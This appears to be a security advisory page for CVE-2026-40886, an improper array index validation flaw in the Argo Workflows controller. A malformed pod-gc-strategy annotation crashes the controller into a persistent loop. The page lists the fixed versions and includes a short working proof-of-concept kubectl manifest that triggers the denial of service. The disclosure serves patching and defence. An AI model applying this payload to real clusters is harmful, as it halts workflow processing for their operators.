Improper Validation of Array Index Affecting github.com/argoproj/argo-workflows/v4/workflow/controller/pod package, versions >=3.6.5 <3.7.14>=4.0.0 <4.0.5


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.38% (30th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GITHUBCOMARGOPROJARGOWORKFLOWSV4WORKFLOWCONTROLLERPOD-16189081
  • published24 Apr 2026
  • disclosed24 Apr 2026
  • creditVille Vesilehto

Introduced: 24 Apr 2026

CVE-2026-40886  (opens in a new tab)
CWE-129  (opens in a new tab)

How to fix?

Upgrade github.com/argoproj/argo-workflows/v4/workflow/controller/pod to version 3.7.14, 4.0.5 or higher.

Overview

Affected versions of this package are vulnerable to Improper Validation of Array Index in the podGCFromPod function when parsing the workflows.argoproj.io/pod-gc-strategy annotation. An attacker can cause the controller process to crash and enter a persistent crash loop by creating a workflow pod with a malformed annotation, resulting in a denial of service for all workflow processing.

Note:

This is only exploitable if a pod with a malformed annotation is present and not manually deleted.

PoC

kubectl apply -n argo -f - <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  name: crash-podgc
spec:
  entrypoint: main
  serviceAccountName: default
  podGC:
    strategy: OnPodCompletion
  podMetadata:
    annotations:
      workflows.argoproj.io/pod-gc-strategy: "NoSlash"
  templates:
    - name: main
      container:
        image: alpine:3.18
        command: [echo, "hello"]
EOF

CVSS Base Scores

version 4.0
version 3.1